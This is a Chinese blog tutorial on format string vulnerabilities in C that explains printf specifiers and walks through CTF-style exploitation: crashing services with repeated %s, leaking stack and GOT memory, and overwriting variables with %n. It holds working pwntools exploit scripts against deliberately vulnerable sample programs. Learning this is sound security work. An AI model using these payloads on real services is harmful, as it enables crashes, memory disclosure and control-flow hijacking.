首页 > 其他分享 >Pwn之格式化字符串漏洞

Pwn之格式化字符串漏洞

时间:2024-11-07 23:44:13浏览次数:3  
标签:输出 格式化 漏洞 地址 字符串 printf Pwn 参数

0x00 格式化字符串的原理

格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式,常见的格式化字符串函数有:

类型函数基本介绍
输入

scanf

从标准输入读取格式化输入
gets用于从标准输入读取一行
............
输出printf输出到 stdout
fprintf输出到指定 FILE 流
vprintf根据参数列表格式化输出到 stdout
vfprintf根据参数列表格式化输出到指定 FILE 流
sprintf输出到字符串
snprintf输出指定字节数到字符串
vsprintf根据参数列表格式化输出到字符串
vsnprintf根据参数列表格式化输出指定字节到字符串
setproctitle设置 argv
syslog输出日志
............

 格式化字符串的基本格式如下:

%[parameter][flags][field width][.precision][length]type

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, 输出一个‘%’。

 0x02 格式化字符串漏洞

栈上布局如下

其他数据
3.14
123456
addr of "red"
addr of format string : " Color %s, Number %d, Float %4.2f"

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

但是如果写成了这样:

printf("Color %s, Number %d, Float %4.2f");

运行出来就会是这样 

可以看到三个参数该出现的地方出现了一些不可预测的数据 ,这就是格式化字符串漏洞的基本原理。

0x03格式化字符串漏洞的利用

一、程序崩溃

        在 C 语言中,printf 函数用于格式化输出,如果   %s   对应的参数地址不合法,即指向的内存区域不可访问或未被正确初始化,那么 printf 函数的行为是未定义的,这可能导致程序崩溃、输出随机垃圾值或安全漏洞。以下是一些可能导致   %s   对应参数地址不合法的情况:

空指针未初始化的指针越界指针释放后的指针

因此我们可以输入%s%s%s%s%s%s%s%s%s%s%s%s%s%s来使程序崩溃,因为栈上不可能每个值都对应了合法的地址,可以利用此来使远程服务崩溃。

二、泄露内存

给出程序(来源CTF Wiki):

编译不成功请执行sudo apt install libc6-dev-i386

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

1.获取栈变量数值

在printf函数后打断点,然后运行

按r运行后,此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序,按c会把上图中0xffffd180及其后面两个地址包含的内容输出

并不是每次得到的结果都一样 ,栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。

2.获取栈指定变量值

可以使用%n$x获得栈上第n+1个参数,格式化字符串是第一个参数,那么如果想获得printf的第n个参数,就需要加1。如果需要获取对应字符串(数据)就把x换成s(p)。

3.获取任意地址内存

上面的泄露并不强力,比赛中经常需要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。

该程序中scanf接收入s的值,然后两个printf。这里我们输入%s,如下调试,打印出0xff007325, 就是%s对应的字符串值,那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容:

addr%k$s

对于参数k的确定,我们可以用以下输入确定

AAAA%p%p%p%p%p%p%p...

一般我们通过0x41414141出现的位置来确定我们的格式化字符串的起始地址是输出函数的第几个参数,因此我们可以用这个方法来泄露任意地址内存,下文演示获取 scanf 的地址

先获取 scanf@got 的地址:

构造 payload:

from pwn import *
sh = process('./1')
__isoc99_scanf_got = 0x804c014
print(hex(__isoc99_scanf_got))
payload = p32(__isoc99_scanf_got) +b'%4$s'
print(payload)
sh.sendline(payload)
sh.recvuntil(b'%4$s\n')
print(hex(u32(sh.recv()[4:8]))) 
sh.interactive()

但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。

[padding][addr]

三、覆盖内存

例题:

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

格式化字符串中,%n 类型,不输出任何字符,而是把前面已经输出的字符个数写入对应的整型指针参数所指向的变量,使用方法如下

...[需要覆盖的地址]....%[输入存储的位置为输出函数的格式化字符串的第几个参数]$n

由于该程序开启了ASLR保护,因此栈地址会一直变化,所以题目中给出了变量c的地址,否则需要先使用别的方法进行地址泄露,然后确定相对偏移:

发现格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数。因此构造exp可以修改c的值完成 c == 16 的判定:

from pwn import *
sh = process('./1')
c_addr = int(sh.recvuntil(b'\n', drop=True), 16)
payload = p32(c_addr) + b'%012d' + b'%6$n'
sh.sendline(payload)
print(sh.recv())
sh.interactive()

运行成功:

接下来分情况讨论极小数字和极大数字如何覆盖

1.覆盖小数字

如果将要覆盖的地址放在最前面,那么将直接占用机器字长个 (4 或 8) 字节,无论之后如何输出,都只会比 4 大。这时,我们可以在%k$n前写两个字符,然后在后面加上要覆盖的地址,由于32位系统参数为4个字节,因此需要使xx%k$n对应两个参数大小,因此n后面需要再加xx,而覆盖地址变成了8个参数,xx%k变成了第六个参数,因此k应该写成8,exp如下:

from pwn import *
sh = process('./1')
a_addr = 0x0804C024
payload = b'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print(sh.recv())
sh.interactive()

运行成功:

2.覆盖大数字

我们可以采取一次性输入超级超级多个字节来进行覆盖,但是一般不这样做(大概率会失败而且运行很慢),我们一般用格式化字符串中的%hhn(char尺寸整型参数)向某个地址写入单字节,用%hn(short尺寸整型参数)写入双字节。

在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址,查看要修改的b变量地址为

因此需要按如下方式覆盖

0x0804A028 \x78

0x0804A029 \x56

0x0804A02a \x34

0x0804A02b \x12

 payload结构如下:

payload=p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

这里给出CTF Wiki的exp:

这个在python3环境下运行不起来,因为  payload += p32(addr + i)  不能用字节加字符串,具体解决方法还没找到,懂得的师傅请在评论区写一下谢谢。

标签:输出,格式化,漏洞,地址,字符串,printf,Pwn,参数
From: https://blog.csdn.net/Rinko233/article/details/143518692

相关文章

  • PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
    ​题目来源:JarvisOJ https://www.jarvisoj.com/challenges题目名称:Level0题目介绍:属于栈溢出中的ret2text意思是Returntotext当程序中有可利用的危险函数控制程序的返回地址到原本的函数实现溢出利用 基础过程(看个人习惯):运行程序查看程序流程file查看文件内存......
  • Nexpose 6.6.277 for Linux & Windows - 漏洞扫描
    Nexpose6.6.277forLinux&Windows-漏洞扫描Rapid7VulnerabilityManagement,releasedNov06,2024请访问原文链接:https://sysin.org/blog/nexpose-6/查看最新版。原创作品,转载请保留出处。作者主页:sysin.org您的本地漏洞扫描程序新增功能2024年11月......
  • 【漏洞复现】灵当CRM multipleUpload.php 任意文件上传漏洞
    免责声明:        本文旨在提供有关特定漏洞的信息,以帮助用户了解潜在风险。发布此信息旨在促进网络安全意识和技术进步,并非出于恶意。读者应理解,利用本文提到的漏洞或进行相关测试可能违反法律或服务协议。未经授权访问系统、网络或应用程序可能导致法律责任或严......
  • sprintf()无法格式化浮点型的问题
    我遇到问题是:使用emWin在LCD上显示数据时,由于文本框只能显示字符串,所谓我要将float类型的数据转换为字符串,我想使用sprintf()函数将float变量存储到数组中,我发现float类型的数据存到数组中,打印查看是0.000等,上网上搜了很多资料,说没有进行字节对齐的,也有说要加链接库的,试......
  • 实战分享记录一次某商城0元购和SQL注入漏洞详细操作(学会了你也可以轻松实现!)
    文章目录1前言2商城0元购一、支付漏洞简介二、0元购漏洞零元购漏洞测试修复建议3SQL注入漏洞一、影响参数:二、漏洞POC:三、SQL注入漏洞测试四、修复建议4总结......
  • 蓝凌OA /sys/webservice/hrStaffWebService存在任意文件读取漏洞
    蓝凌OA/sys/webservice/hrStaffWebService接口处存在任意文件读取漏洞FOFAapp="Landray-OA系统"POC文件读取POST/sys/webservice/hrStaffWebServiceHTTP/1.1Host:Content-Type:multipart/related;boundary=----j0ofrwsv2dtllbzzkyh9User-Agent:Mozilla/5.0(Wind......
  • ctfshow(316)--XSS漏洞--反射性XSS
    Web316进入界面:审计显示是关于反射性XSS的题目。思路首先想到利用XSS平台解题,看其他师傅的wp提示flag是在cookie中。当前页面的cookie是flag=you%20are%20not%20admin%20no%20flag。但是这里我使用XSS平台,显示的cookie还是这样,并不能得到flag。该方法先作罢。于是......
  • ctfshow(162)--文件上传漏洞--远程文件包含
    Web162进入界面:思路先传个文件测试一下过滤:过滤了特别多符号,注意过滤了点.我们的思路还是要先上传.user.ini文件://修改前GIF89aauto_prepend_file=shell.png//由于过滤了点,所以修改为GIF89aauto_prepend_file=shell上传.user.ini文件接下来就是上传包含一......
  • DBeaver如何快速格式化sql语句,真简单!
    前言我之前在使用DBeaver的时候,一直不知道其可以格式化sql语句,导致sql语句看起来比较杂乱,今天就来介绍下DBeaver如何格式化sql语句。如何格式化sql语句首先,我们打开一个sql窗口,在里面输入我们要查询的sql语句,如图所示。可以看到,此时sql语句是比较杂乱的。然后,我们鼠标右击,选......
  • SNMP代理默认团体名称 漏洞处理
    理解SNMP代理默认团体名称漏洞SNMP简介简单网络管理协议(SNMP)是一种广泛应用于网络设备管理的协议。它允许网络管理员通过管理站来监控和管理网络中的各种设备,如路由器、交换机等。SNMP使用“团体名称(CommunityName)”作为一种简单的身份验证机制。漏洞原理许多网络设......